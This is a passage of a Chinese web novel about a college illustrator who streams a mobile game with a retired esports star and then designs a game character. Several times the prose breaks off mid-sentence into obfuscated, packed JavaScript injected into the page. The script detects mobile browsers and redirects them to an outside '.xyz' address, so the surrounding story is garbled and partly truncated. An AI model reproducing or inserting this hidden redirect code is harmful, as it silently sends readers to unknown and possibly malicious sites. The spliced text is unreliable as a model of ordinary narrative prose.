王铭:「所以……结果你就要了张煦的签名照???」 秦见夏:「是的王总,我觉得这个比较得体,发朋友圈还能小装一下/握手」 秦见夏:「而且真要什么别的也不太好,我充其量就是无痛上了次热搜,咱也没必要狮子大开口」 王铭:「为什么我打英雄联盟都碰不到dollar?」 王铭:「难道我也该重温一下农?」 王铭:「可我每年过年也打啊」 秦见夏:「你试试把id改成美元哥的黑称」 王铭:「那把把都得被喷麻了」 秦见夏又和他插科打诨几句,这才打开谈继秋的聊天框。 一条十点钟发来的消息,静静地躺在记录里—— 「今天下午有时间吗?我活动结束后刚好可以连麦打王者。昨天撤了热搜但还有点热度,我们这边是想早点打完比较有节目效果,你看方便吗?不方便的话我们可以改时间。」 秦见夏立刻回复:「可以的,方便,您到时候提前给我发消息,我直接上号等您拉我,打完了我就去直播间加粉丝团。」 过了一会,谈继秋回复:「前几天不是还叫我继军吗?不用这么客气。」 谈继秋:「刚好你也在淮市,想不想来看我表演赛?」 谈继秋:「我让助理去学校接你,正好直播完请你吃顿饭赔罪。」 秦见夏躺在床帘里,光线昏暗,她对着手机愣神。 未知的非同龄社交领域,并没有令她很感兴趣,哪怕对方是她曾经粉过的选手。 她思考两分钟,还是拒绝:「不用啦秋神,我就不去打扰你们工作了,刚好我作业还没做完,本来计划是下午赶作业的,您直播前提前发微信就行,祝你们工作顺利~」 已经在候场的谈继秋看了眼手机,很快放回原位,没有再回复。 “哥,你说几点让我去A大接人来着?是远钦校区吗?”艾欧尼亚勤勤恳恳跑来,低声询问。 “不用了,”谈继秋的语气淡到听不出情绪,随即又垂眸道,“算了……你再帮我求求YLS的领队。” 艾欧尼亚不懂,但全答应:“好的哥。” - 秦见夏边换衣服边计划,还是决定去艺术楼待到晚上再回宿舍,刚好周天一般没人在教室,下午可以赶一赶作业,晚上跟Jichoo打王者。 她背着书包来到食堂,掀开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669837|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塑料门帘,走到靠窗的位置,放下书包占座,照例去买了加冰的高山四季春,然后找河之味石板饭的叔叔点单。 石板饭打包没有堂食好吃,秦见夏对戴着白色厨师帽的叔叔说:“一份肉沫土豆的石板饭,在这吃,多辣。” 河之味石板饭叔叔相当话痨,每次她来点单,他都要拉着她聊一会。 “同学是哪里人啊?” “南城的。” “南城是个好地方哦,那里好大学也多吧,怎么想到来这里读书啦?” “……” 秦见夏随便扯了点借口,叔叔转身从料理间接过石板饭,端回桌面,边加辣椒边问:“同学你的饭好了,葱花香菜都要吗?” “都要,香菜麻烦多来点。” “好嘞!”叔叔笑容淳朴,将餐盘递给秦见夏,不忘叮嘱,“端稳哦小美女,注意不要弄洒啦!” “好的好的,谢谢叔叔。” 秦见夏连忙端着重如千斤的石板饭回到餐位放下,又起身去消毒柜里拿餐具。 枚园食堂的叔叔阿姨都相当热情,也不知道是不是淮市本地人的口头习惯,大家都爱称呼人“小美女”或者“小帅哥”,搞得同学们总是十分脸红。 石板饭,顾名思义是将烹饪过的食材放到一块黑色的石盘上面,类似于铁板烧,口味独特,香菜可以中和酱汁的油腻。 每份石板饭还会送一份紫菜蛋花汤,肉沫土豆的套餐只需要十二元,米饭不限量。 肉沫伴随秘制酱汁与油炸过的土豆片混合,在石板上发出“滋啦滋啦”的细微声响。 一口下去,不仅能吃到软糯的土豆,还有淡淡的孜然味和喷香的调料汁,用来拌饭更是绝佳。 虽然堂食拌米饭不太方便,但打包却只是在小锅里炒一下,没有放在石板上吃起来香,所以每次想吃石板饭,秦见夏都会选择堂食。 “在食堂吃到好吃的饭”被她列为大学生活幸福时刻之一。 她拍完午餐“定妆照”,不禁想起陈文欣总是说A大的饭难吃。 秦见夏舀了一大口汤汁拌饭塞进嘴里,嚼得相当用力。 这多好吃啊! 她一边吃饭一边翻看昨天热搜上那个词条,发现热度最高的营销号已经删帖,扒号截图也都荡然无存,只能随便扫了眼广场—— 「黄油一哥演都不演了」 「LOL都凉了我们继军私下打个农药又招谁惹谁了,再说人家带女朋友打个王者也没啥吧,毕竟都退役了,离主播的私生活远一点。」 「我说最近怎么老鸽,原来是有情况了,祝99」 「继军这季军真当之无愧,当年要是上点心就不至于打成老二了,电竞花瓶真给爷整笑了,不就是长得帅吗?什么时候爆出漂倡塌房就老实了」 「乐,楼上是小学生吗,当年追比赛的都知道锅不在jichoo身上,而且打成季军已经很不错了懂吗?要不是你秋神1v5,lpl连个季军都拿不回来」 「有什么可吵的,又不是给lol签了卖身契,某大主播去打吃鸡也没人嘴,怎么到jc这就不行了」 「……」 虽然有骂谈继秋的,但至少没人扒她,秦见夏放心地退出微博打开抖音。 晚上七点,秦见夏收到谈继秋发来的微信。 她打开王者,顺便用电脑点进Jichoo的直播间,时刻关注有没有人骂她。 谈继秋这次还改了直播分区,标题是“带粉丝农一把”。 结果弹幕都在刷他背叛德玛西亚。 谈继秋立刻在直播间发了个大红包,于是粉丝们又变脸,统一刷“谢谢老板”。 秦见夏刚好没抢到这个红包^^ 约莫还没回到晋海,谈继秋这边没开摄像头。 等热度上得差不多,他简要解释了和Fine的赌局,隐去和秦见夏有关的部分,只是说,完成赌局需要打这把王者。 Fine也在直播间,当即给他刷了个火箭。 节目效果更上一层楼。 秦见夏想了想,切换微信,问谈继秋:「需不需要我装作才发现你是jichoo的样子?」 谈继秋用另一部手机回复:「不需要。」 秦见夏很快被拉进房间,出乎意料的是,房间里居然还有第三个人。 正欲打字问这人是谁,突然记起,得连麦才行。 她提前清清嗓子,紧张地打开麦克风,做了很久的心理建设,才小声问:“Jichoo老师,另一位是谁啊?” “抱歉姐”的声音,和谈继秋想象中不太一样。 她的声线很纤细,十分悦耳,与她性格有一丝细微的反差感。 很难想象她是顶着这种声音在搞抽象。 莫名其妙地,他存了些逗她的心思。 谈继秋鼻息间溢出轻笑,语气戏谑—— “你现任偶像。” 27. 是雄竞 那就是Daybreak!? Daybreak又没退役,怎么会来打王者? 此时正在直播,肯定不能直接问,秦见夏犹豫片刻,措辞道:“另一位老师……不用训、工作吗?” 谈继秋替Daybreak回答:“他们今天放假。” “好的好的。” 秦见夏恭敬应完,便默不作声地返回大厅,趁匹配间隙领取每日礼包。 Daybreak不能出声,场面一度寂静。 秦见夏怕在直播时出岔子,也不敢说话。 谈继秋显然理解有误,语气怪异地问:“怎么,在偶像面前保持体面?” 秦见夏:“?” 虽然感觉他很莫名其妙,但她求生欲极强,条件反射地拍起马屁:“没有没有,您才是我偶像,唯一的神——God·秋!他们都是过客,我们Jichoo老师才是家!” 嘴在前面吹,脑子在后面追。 秦见夏说完才后知后觉,貌似有点不太对。 某前任偶像并没有给她找补的机会。 谈继秋冷哼一声:“那给你寄我的签名照?” “……” 秦见夏沉默了整整十秒,才开口:“也行……” 就是朋友圈点赞量得少一半,并且会被王铭等男生嘲讽“怎么还在对电竞维纳斯念念不忘”。 不过如果是谈继秋的签名照,其实也可以不发朋友圈^^ 当然,那甚至没有寄来的必要。 弹幕快刷疯了—— 「卧槽啊啊啊有情况」 「小姐姐十分不情愿地同意了」 「这是哪个女主播?声音还挺好听的」 「我嘞个qjx你也是发达了帮我也要个签名照啊我要dollar的」 「我请问谁懂呢,有点嗑到了」 「继军之前会这么说话吗?那必然是不会的」 「jichoo,这样哄孩子的话你从未对nyoni说过」 「没人觉得继军说话夹夹的吗…?」 一直沉默不语的二楼打字道:「让秋哥把你微信推我,我给你寄。」 秦见夏眼疾手快地关闭话筒,还是被捕捉到0.1秒笑声。 她在无人的教室里狂笑几声,才终于匹配到对局。 “Daybreak真是大大的好人。”秦见夏如此评价。 她连忙打开麦克风:“谢谢哥谢谢哥。” “两位老师这把打什么位置啊?我可以补位。” 谈继秋只是淡淡地飘来一句:“他跟你同岁,不用叫哥。” Daybreak预选澜,秦见夏于是对谈继秋说:“那我玩蔡文姬?你玩AD吧Jichoo老师。” 她刚找到自己的拿手辅助,谈继秋当即秒选钟馗:“你玩射手。” “我这把想玩瑶。” 他又换了瑶,锁定。 直播间热度此时已登顶排行榜第一。 「不~用~叫~他~哥~」 「妹刚刚快笑成毒液了」 「我~这~把~想~玩~瑶~」 「孩子们,为什么黄油不让发表情包」 「之前谁说猫咪是最没用的辅助来着……」 「不是继军还真打辅助啊…?」 「我怎么记得之前秋神宁愿补位中单也不想打辅助的……」 「太好了是雄竞」 「小姐姐喜欢的其实是那个澜吧,澜一出就说要玩蔡文姬……」 秦见夏:“……” “马瑶吗?可是我马可玩得很菜,”秦见夏犹疑地问,“您要跟打野吗?” 谈继秋十分坦然:“我当然跟你啊。” 为什么这个语气听起来这么…… 令人想入非非。 好吧,不得不承认,谈继秋的声音挺好听。 他的嗓音很年轻,也没什么口音,标准男大音。 像鹅卵石砸进一泓清水中,溅起恰到好处的抑扬顿挫,比从前直播间里传来的声音更加清晰。 仿佛贴在她耳边讲话一样…… 秦见夏的脸颊不由得热了热,下意识用手掌扇风。 她悄悄深呼吸,试图抑制剧烈跳动的心脏,然后重新低头看向屏幕,选择另一个本命英雄虞姬。 其实她的本命英雄是狄仁杰,但可惜发牌哥早已被削成冷门,虞姬目前是版本强势。 她玩虞姬比较稳健,这把绝对不能拖后腿。 游戏加载阶段,秦见夏听到谈继秋在回复弹幕—— “尼奥尼?不是澄清过了,我和尼奥尼没关系,不要乱嗑cp。” “她不是主播,是我的一个素人粉丝,请大家不要打扰她的私生活,也别去关注她账号,我们只是打王者认识的。” “好吧……其实是前粉丝,她不想要我的签名照。” “谁说她喜欢澜?她辅助只会玩蔡文姬,别问了,不是故意组蔡澜cp。” “什么叫她选蔡文姬是为了跟澜?她想跟澜队友同意吗?” “别刷哈哈哈了,没有破防,她真的是我粉丝。” 他回应得相当一本正经。 秦见夏听得忍俊不禁。 她忽然想起,谈继秋是粤省人,应该会说粤语。 那他讲粤语估计也很好听。 大概是年纪很小就去晋海打职业的缘故,谈继秋现在的普通话完全没有口音,感觉最次也是普通话测试二级乙等的水平。 “全军出击——” 走出泉水时,她才发现,瑶用的是情人节限定皮肤,秦见夏顺嘴脱口而出:“Jichoo老师,你怎么会有时之祈愿?” “为什么不能有时之祈愿?”谈继秋疑惑道。 男瑶,还有高品质皮肤…… 秦见夏瞳孔地震:“你私下里也玩软辅?啊——你不会是……” “我全皮。” 谈继秋听着隐约感到不对劲,立刻打断她的遐想,语气间透露出一种财大气粗的意味。 秦见夏瞬间偃旗息鼓,羡慕嫉妒恨:“好吧。” 谈继秋:“你想要什么皮肤?我送你。” “我还是更想要签名照……” 本命英雄的皮肤她基本都有,签名照可比皮肤难得,秦见夏还是更想在好友圈小装一下。 谈继秋:“……” 又自取其辱了。 正好刚开局,他意味不明地点了一下澜的头像。 Daybreak刚交惩拿下蓝buff,当即不服输地点了回去。 游戏里顿时响起一阵互相点头像的叮叮声。 秦见夏:“……” 还好没戴耳机。 秦见夏这边补完第一波兵线,瑶还没升四级,只能围着虞姬转。 她还是觉得,谈继秋玩瑶,实在是太割裂了。 “Jichoo老师,你一会儿不会出电刀吧?”秦见夏忍不住问。 谈继秋:“看你表现。” 她a了两下对面戈娅,心道这老小子还挺拽。 瑶升到四级后,直接开大骑在虞姬身上,这让秦见夏很有压力。 总觉得谈继秋在OB她。 不过他倒是也没像别的男玩家那样“指点江山”。 澜刷野速度快,到三猪时,给下路标了个点,示意等会来抓下。 秦见夏心领神会,慢慢往后拉扯控线,准备给打野创造机会。 Daybreak潜水来到下路,瑶找准时机,闪现跳到戈娅身后,直接一技能将她推到打野脸上。 澜立刻开大,将戈娅和孙膑推进己方防御塔下,虞姬趁机在侧面输出,一技能穿云箭收割掉戈娅人头。 对面孙膑虽然扔了大招,但并没有起到任何作用,最终被澜一套带走。 本来她a一下就能双杀,但还是发扬了谦让美德,正想着弹幕该夸她了时—— “你这不是挺会让人头的,”谈继秋的语气模棱两可,“之前怎么不给我让头?” 秦见夏:“……?” 怎么总感觉,他今天有点阴阳怪气。 “我那时候要知道您是Jichoo老师,我一定分头不沾!” 不管了,拍马屁准没错。 秦见夏拍上瘾了:“您大人有大量,一定不会和我们00后计较的,对吧?” “你说我老?” “哈哈哈……哪能呢……”不小心拍马屁股上了,她连忙找补,“您青春永驻!电竞颜王!LPL维纳斯!依旧是当打之年!” “所以,只能夸脸了?” 秦见夏真的觉得,他今天有点咄咄逼人、为老不尊、倚老卖老。 难道男人也有那几天吗? 秦见夏还是耐心哄他,鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只剩个残血孙膑开二技能跑路,秦见夏预判他会在一塔后面回城,于是带着瑶从野区绕过去,无视野释放一技能“楚歌起”,势如破竹地带走残血孙膑,打出“百发百中”。 这次当着直播间观众的面,她没好意思发「抱歉」嘲讽对面。 “玩得可以。”谈继秋夸赞。 秦见夏谦虚地说:“常规操作,常规操作。” 打到中期,上路有点掉链子,直接被对面推到高地了,秦见夏就带着瑶前去支援。 敌方程咬金非常肉,她便卖掉泣血换成制裁,然而程咬金现在是对面经济最高的英雄,几乎和她持平,虞姬点不动他。 瑶不在身边,她打得十分吃力,只能边打边往后退。 眼见快要被反杀,秦见夏连忙用二技能跑路,程咬金也打开疾跑追着她杀,瑶没回满血就出了泉水,飞速往她这边赶。 这时,澜从野区横空出世,一个大招将程咬金推远,几次跳刀将敌方收割。 “雨,好像停了——” 澜仿佛活雷锋般,做完好事立即转身返回野区,只留下一个高冷的背影。 秦见夏不禁感叹:“我去,太帅了!” 谈继秋OB完全程,顿时扭头去跟女娲。 弹幕纷纷看起笑话—— 「继军疑似破防」 「玩不起是吧?谁让你选瑶」 「妈呀,这澜真的太帅了」 「开始雄竞,可这瑶算雄竞吗?」 「继军你就给妹妹开开护盾得了,闹什么脾气」 谈继秋的确开始后悔选了瑶。 秦见夏再度感叹,澜实在太帅。 她对澜有滤镜。 最后一波团发生在大龙坑,然而秦见夏状态不好,有蓝但血量不多。 瑶刚好没蓝,只能当她的贴身保镖,结果很快被秒。 这时的虞姬显然成为香饽饽,诸葛亮眼疾手快,直接用大招锁定秦见夏。 以她目前的血量,不出意外会被带走,而且她并不会用二技能挡诸葛亮的大,只能听天由命,迅速往队友那边靠,试图让他们帮自己分摊伤害。 队友离得不近,都忙着打别的脆皮,八成是来不及了。 千钧一发之际—— 澜再度一个滑步,跳到秦见夏身前,严丝合缝地替她挡下诸葛亮的大招。 “哇!”秦见夏简直五体投地,“谢谢谢谢,帅爆了!” 她感激地发送快捷语:「谢谢你」 【澜——关键抵挡】 谈继秋瞥见系统提示,下意识冷哼。 瑶:【干得漂亮!】 28. 笑什么 谈继秋感到一丝微妙的不爽,虽然他并不知道这不爽究竟从何而来。 游戏结束后,Daybreak的澜拿了MVP,秦见夏评分第二,她狗腿地给两位选手都点了赞,顺便添加了Daybreak的游戏好友。 退回房间时,听到谈继秋说:“不行,这局不算,再来一把,我打野。” 秦见夏却婉拒道:“Jichoo老师,你们继续打吧,我不打了,我去直播间给您刷个礼物就下了。” 她说完便退出组队,用电脑给他送了个十块钱的礼盒,然后加入粉丝团,截图发给谈继秋。 秦见夏实在不适应直播的场面,总担心自己会被人肉,或者说错话上热搜。 她一个需要毕业证的大学生,还是保守些比较稳妥。 退出王者后,她又在直播间里蹲了一会,仔细翻看弹幕。 「继军:你装完了吗?该我装了。」 「啊这就下了啊,那我也走了,看俩大老爷们打没意思」 「小姐姐射手玩得不错,不愧是jichoo粉丝」 「妹这个大闪可以啊」 「小姐姐在哪直播,是王者主播吗?」 「继军,你不对劲」 「这澜是谁啊?」 「老秋玩个瑶还嫌人家澜秀」 「……」 发现谈继秋的粉丝对自己没什么负面评价,秦见夏放心地关闭直播间。 手机突然弹出条微信。 谈继秋:「你在黄油的id叫“老公为爱出走的那个雨夜”?」 秦见夏疑惑地打字:「对啊」 勤捡虾球:「有什么问题吗?」 其实她本想跟风起名叫“老公为小三出走的那个雨夜”,但这个id在黄油算违禁词,她就只能折中,起个和谐版id。 谈继秋:「原来你有男朋友了。」 这究竟是怎么联系上的。 秦见夏心道,果然和他有点代沟。 勤捡虾球:「这倒没有」 勤捡虾球:「国家尚未富强,怎谈儿女情长,智者不入爱河,建设美丽祖国!」 谈继秋:「?」 勤捡虾球:「好啦其实是作业太多没时间谈」 谈继秋:「原来如此。」 谈继秋:「不过,有时间可以在学校里谈一个……进入社会到我这个年纪就不好找了。」 秦见夏嗤笑一声—— 难道围棋下多了腌出老年味了? 真的很难想象,说出这种话的人居然长着一张惊为天人的脸。 勤捡虾球:「秋神,你不是才比我大四岁吗,咋就不好找对象了?」 勤捡虾球:「又不是大四十岁」 勤捡虾球:「现在男的也年龄焦虑?」 谈继秋:「有点,被db打趴下那局bo5以后,就开始年龄焦虑了。」 勤捡虾球:「哦,那你可以叫“被daybreak吊打后的那个雨夜”」 谈继秋:「你不玩梗难受吗」 勤捡虾球:「maybe」 勤捡虾球:「好啦~我以为您追大美女网红轻轻松松」 勤捡虾球:「毕竟您老可是电竞颜值天花板级别的存在」 勤捡虾球:「是个女生看见你的脸都得跪了吧……」 谈继秋:「并不,现实里她们更喜欢fine」 谈继秋:「而且我讨厌去那些聚会,太吵」 勤捡虾球:「不可能……你别告诉我你之前没谈过恋爱??」 勤捡虾球:「你当自己是电竞文男主呢^^」 勤捡虾球:「虽然你确实帅得可以进娱乐圈当男主……」 说实话,秦见夏一点也不相信男人的嘴。 尤其是电竞选手+帅哥的嘴。 目前不管什么圈都塌过一轮了,由此可以总结出经验——帅哥洁身自好的可能性,简直微乎其微。 秦见夏对这位曾经粉过的选手,还是相当有警惕心的。 谈继秋:「没谈过很丢人吗?」 谈继秋:「不喜欢为什么要谈。」 秦见夏不想和生人聊这些,对他的三次元生活也不感兴趣,只想迅速结束话题。 勤捡虾球:「有道理,哥」 勤捡虾球:「那你单着吧」 勤捡虾球:「神总是孤独的」 谈继秋:「……」 谈继秋:「你这张嘴是不是被蛇女下过毒?」 谈继秋:「哥偶尔伤春悲秋一下,现在气氛全无。」 勤捡虾球:「有什么可伤春悲秋的?你又不能生孩子,二十五还不算高龄产夫」 勤捡虾球:「要真想谈恋爱,你的当务之急是先走出门,天天在家里下围棋你还不如打王者网恋呢,爱情难道会入室抢劫吗?」 谈继秋:「我对谈恋爱没兴趣。」 谈继秋:「是我家姐天天催婚。」 勤捡虾球:「你应该早就财富自由了吧,有钱人也被催婚?」 谈继秋:「嗯,不知道谁给派的任务。」 谈继秋:「她们可能……怕我对异性不感兴趣。」 他更想说,其实他对人类都没什么兴趣。 不过——这样说显然会让她觉得自己是个怪人。 还是算了。 秦见夏心想,不止你家人这么猜。 由于谈继秋十年来都没传出过恋情绯闻,粉丝们也都这么猜测来着…… 更有甚者还大放厥词,在Jichoo退役后杳无音信的那一个月,造谣人家遁入空门了,差点被嘲成“竞圈佛子”。 至于秦见夏为什么知晓此事,是因为朋友们那时候也在跟风嘲他,知道她退坑Jichoo后直接对她贴脸开大。 当然,她连“继军”都叫得如此顺口,对这种黑称早已不甚在意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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勤捡虾球:「你和家人不住在一起你担心什么?难道他们能天天赖在你家催婚吗?」 勤捡虾球:「管他们呢,你就不结婚,你家人还能强买强卖?」 谈继秋:「你说得对。」 勤捡虾球:「嗯好的,出院!」 谈继秋:「……」 谈继秋盯着“出院”两个字,笑了整整一分钟。 助理艾欧尼亚一脸惊悚地偏头看他:“哥,你莫名其妙笑什么呢?” “在和粉丝聊天。” 他似乎心情很好,眼睫低垂,紧盯手机屏幕,唇角挑起好看的弧度。 他从前……有这样笑过吗? 艾欧尼亚顿了顿,瞥向谈继秋的神色有几分不自然:“哥,你不会喜欢上粉丝了吧?睡粉可不行,你塌房我们都得失业……” 她的语气里,夹杂着些难以言喻的怪异。 谈继秋并没有听出来。 “我怎么可能喜欢她?” 他想也不想,当即否定:“不要乱说。她还是个学生,我不可能喜欢她的。” 29. 对味了 “祸从口出,以后别乱讲。” 谈继秋放下手机,锁屏,开始闭目养神。 连轴转一整天,他其实已经疲惫不堪。 他也疑惑,为何自己会突发奇想,对这个猝然闯入他生活的小粉丝倾诉苦恼。 她肯定也觉得他很奇怪吧…… 但她身上有种神奇的天赋,可以四两拨千斤地攻克一切难题。 谈继秋闭着眼睛,思绪纷飞,他想起父母,下意识逃避,思考除了寄签名照之外,还能寄什么给她。 司机始终沉默,艾欧尼亚坐在商务车后座,静静地偏头,眼睛一眨不眨地盯向谈继秋。 这个仰望的动作,她早已悄然做过无数次。 不喜欢吗……? 艾欧尼亚认为,自己或许比他本人更了解他一点点。 谈继秋是当之无愧的淡人,淡到冷漠的程度。 这么多年来,唯一能激起他情绪的,似乎只有比赛。 对于他姐姐,他甚至都没有那么大的情绪波动。 艾欧尼亚见过一次谈承春,他在亲姐面前,也是这副半死不活、不在意任何人的姿态,顶多扯扯嘴角算是他心情好,根本不会撒娇、打闹。 这两个词对他来说,简直是天方夜谭。 更何况——他为了活动后的这场直播,亲自去求经纪人陈姐,允许他播王者。 还让她找YLS的领队求情,借来Daybreak。其实今天根本就不是假期,是她软磨硬泡两小时,那个领队才肯放Daybreak一小时假的。 艾欧尼亚觉得,谈继秋简直是疯了。 他口中的粉丝,估计就是他让她去接的那个A大学生吧。 就是因为她,Jichoo才在活动结束后,依然在休息室直播了将近一个小时吗? 明明处理热搜事件到凌晨才休息,早起赶高铁,又坐车到场馆彩排,下午打了个BO5已经累得不行——即便如此,还是选择尽快在直播间澄清吗? 连晚半个小时赶回酒店也等不及? 从前的他,连自己的黑热搜都不在乎,这次却第一时间让撤热搜。 艾欧尼亚也看了这场直播,这还是她首次听到他那副阴阳怪气的语调。 有喜有怒,突然就像个活人了。 她安静地注视着他明月般的脸庞。 心想,这个粉丝在他心里还是不同的。 - 夜色浓郁,秦见夏还是不想回宿舍。 她在教室坐着,又完善了一遍ppt,全部检查过后,导出pdf保存在桌面,为明天的pre做准备。 十点半左右,彻底搞完学校的任务,她打开Procreate,将扫描过的草稿垫在最下面的图层,开始进行角色设计。 草图都没有脸,只有一些天马行空的想象,她坐在冷板凳上和平板僵持了半个小时,都无法产出一张满意的脸。 决定还是先找找参考。 第一个角色定位是少年射手。 然而秦见夏不太会画年轻男性,集训的时候就更擅长画小男孩和老头,很容易把男青年画得雌雄莫辩。 她一边心道刚复健就给自己上强度,一边翻找男明星的精修图。 刷了很久都没找到合适的参考,不是太丑就是长得没有辨识度,古早男明星倒有点味道,能保存几张像样的。 却总觉得差点意思。 “气韵生动”,就差一口气。 她的构思其实很简单,一个用竹叶当武器的少年,技能灵感来源于保卫萝卜里的风扇,平a时扔出会旋转的飞叶。 发色提取了竹子内部的米白色,角色头戴草环,脚踏云靴,一件碧色缠枝长袍,衣纹细节准备以传统纹样作为参考。 电子草图都画得差不多了,脸却空在那里,迟迟找不到灵感。 最终,她决定遇到困难就放弃,事已至此,先刷会短视频。 正好弹出电竞美男图鉴,有一张关于Jichoo的照片,竟然是她这个远古老粉都没见过的。 不愧是电竞圈照片最多的男人。 看队服和脸,大概是谈继秋三年前的照片,他在比赛现场,背靠电竞椅,以俯视的姿态被摄影师抓拍。 好像和出圈图是同一个摄影师,区别于摘耳机那张,这张更显少年气,没到神图“看狗一样”的程度。 虽然很难想象,摄影师是怎么从鞋底的角度拍出这张照片的,但确实很帅。 冷峻如羊脂白玉似的面庞,不那么秀气的下半张脸恰好中和掉女气,呈现出一种精致俊朗的效果。 最夺人心魄的是那双眼睛,弧度堪称完美,淡漠的目光后,蕴藏蛰伏的气势。 秦见夏认为,谈继秋这个人应当称不上高冷,他身上没有那种“可远观不可亵玩”的气质。 曾经翻遍FYZ官方号发的vlog和花絮,她发现他的人格底色是淡漠,并不完全孤冷到没有一丝人味。 即便全网都定论他性格怪癖,秦见夏却不这样认为。 从重男轻女家庭杀出条血路,年纪轻轻就托举姐姐上大学的人,怎么可能没有人味? 估计和小时候在家庭里受到过创伤有关,采取了一种类似于“龟壳”的自我保护措施。 他只是对比赛以外的事物,统统持有一种冷眼旁观的态度——不在乎、懒得管、与他无关。 类似于MMO游戏(多人在线角色扮演游戏)里的主线任务和支线任务。 对他来说,打比赛是主线,其余都是支线。 有的人玩这种游戏根本不会点击支线任务的展开框,觉得多此一举。 他退役加之财富自由,相当于主线任务通关,自己找不到另一个可以替代的主线。 昔日亲朋好友又全部走上结婚生子的道路,但他心底不觉得婚姻可以作为他之后人生的主线任务,自然会愈发厌世。 设身处地想想,本来就有童年创伤,少年心气早已被迫湮灭,他走到现在很不容易了,还能性格活泼的应该是超人。 换做秦见夏摊上这种天崩开局,大概早已重开。 这张照片,倒是溢出些许很难捕捉到的少年张扬。 “对味了。” 她当即将图片保存到相册,再度打开绘画软件,将自己原本画好的杏眼擦掉,补上一双狭长上挑的眼睛。 虽然谈继秋是她的灵感来源,但她没有直接照着他的眼睛画,进行了一些创新,例如微微遮住瞳孔的眼皮,和鎏金色的瞳孔。 清纯中带点不羁,狂妄又不失幼态,活脱脱的木系少年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669840|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 通俗来讲,就是白幼瘦却有一种平静的疯感,劲劲儿的,属于角色亮点。 秦见夏许久没拿笔画画,居然有点上瘾,后来的几天更是沉迷于刻画细节。 图层翻来覆去地删,笔刷翻来覆去地试,颜色也翻来覆去地改,总算在一周后完成了整体角色的雏形。 按她们这行来说,还得再进行设计规范。 以她浅薄的理解,就是做个展板,上面有三视图、细节介绍以及设计说明,顶多再写个背景故事。 秦见夏打算将这一项偏学术的工程,留在课堂上摸鱼完成。 这一周,她还给这个角色起了个响亮的名字,叫叶寻。 “叶”是因为武器是叶子,“寻”是抓阄抽中的,符合老天爷的旨意。 她对这个名字很满意,简单用小篆当参考,做了个类似风格的字体,往人物旁边一p再加点阴影,还挺像那么回事。 临近期末,秦见夏忙得脚不沾地。 端午收假刚赶完形策论文卡点提交,当天专业课上,范川点评她信息设计主视觉的颜色太淡,又要重新修改配色。 秦见夏苦哈哈地改完,川总又摸着下巴说数据太落后,需要找最新的数据归纳。 马上放暑假,秦见夏的实习简历还没投递。 她就在六月的最后一周,一个人当三个人用,一手抓简历、一手抓作品集、一手抓作业、一手抓自己的角色设计。 好在角色已经设计得差不多,秦见夏放心地在一个吃完饭的午后,将叶寻的三视图随手p了个水印发小红书,扭头又去赶起ddl。 明天是结课pre,每组单独上台给范川汇报。 秦见夏自己单打独斗,没人帮她托底,所以必须做到万无一失,这样上台才能流利地答出范川的所有死亡质疑。 川总此人,每逢结课汇报时,都会提出一些尖锐且专业的问题, 明明大家都是学生,他却针对实用性和商业性来提问,搞得所有人基本都下不来台。 他的问题重击到——让人不知道结课后究竟是该推翻重做,还是直接交一坨作业。 像苏织这种完全不内耗的人就无所谓了,即便被问住也不在乎。 本着“你爱打多少分就打多少分我只要及格”的态度,无论作业完成度多高,只要结课就往上交。反正做完了,出勤率100%,不可能不给六十分——及格万岁。 然而,秦见夏刚好是个很要面子的人。 分数多少不重要,不能下不来台丢脸。 最近流行起ChatGPT,赶ddl到手指冒火的秦见夏,不可避免地打算借助一下先进生产工具。 她特意在某宝买了个一周会员,把整体思路大致描述一遍,便一股脑地丢给AI让它写ppt。 结果,3.5只给她写了一坨能自圆其说,细想却驴头不对马嘴的完美大便,放上去百分之百会被范川喷下台。 最后又只好亲自动脑想了个大纲,赶了一下午ppt,做出将近四十页才算满意。 再次打开小红书,是在晚上七点,秦见夏正在枚园三楼吃着爆辣螺蛳粉。 为了犒劳自己,她还额外加了卤鸡爪和炸蛋。 刚咽下去第一口,秦见夏发现消息那栏提示「99+」。 30. 你变了 秦见夏吓了一跳。 难道是被网暴了吗? 她只是一个平平无奇,爱在评论区玩抽象的大学生。 她放下筷子,端起高山四季春猛吸一口,直到冷静下来,才敢点开查看。 好消息—— 她的帖子火了。 坏消息,id太抽象。 “哈哈哈,道爷我成了!” 秦见夏恍若无人地在人满为患的食堂大笑三声。 周围同学纷纷侧目,不理解但尊重。 秦见夏就这样凭借一条只放了一张图片的帖子涨粉两千! 这是她之前想都不敢想的。 评论区甚至没有什么喷子—— 「@王者荣耀,来发offer」 「新号新帖,难道“老公为小四出走的那个雨夜”真是天才?」 「我去,妈妈」 「老公为小四出走的那个雨夜,你是真的火了,可以改下id了」 「我服了,女神被炸id就老实了」 「画得这么牛逼我艹」 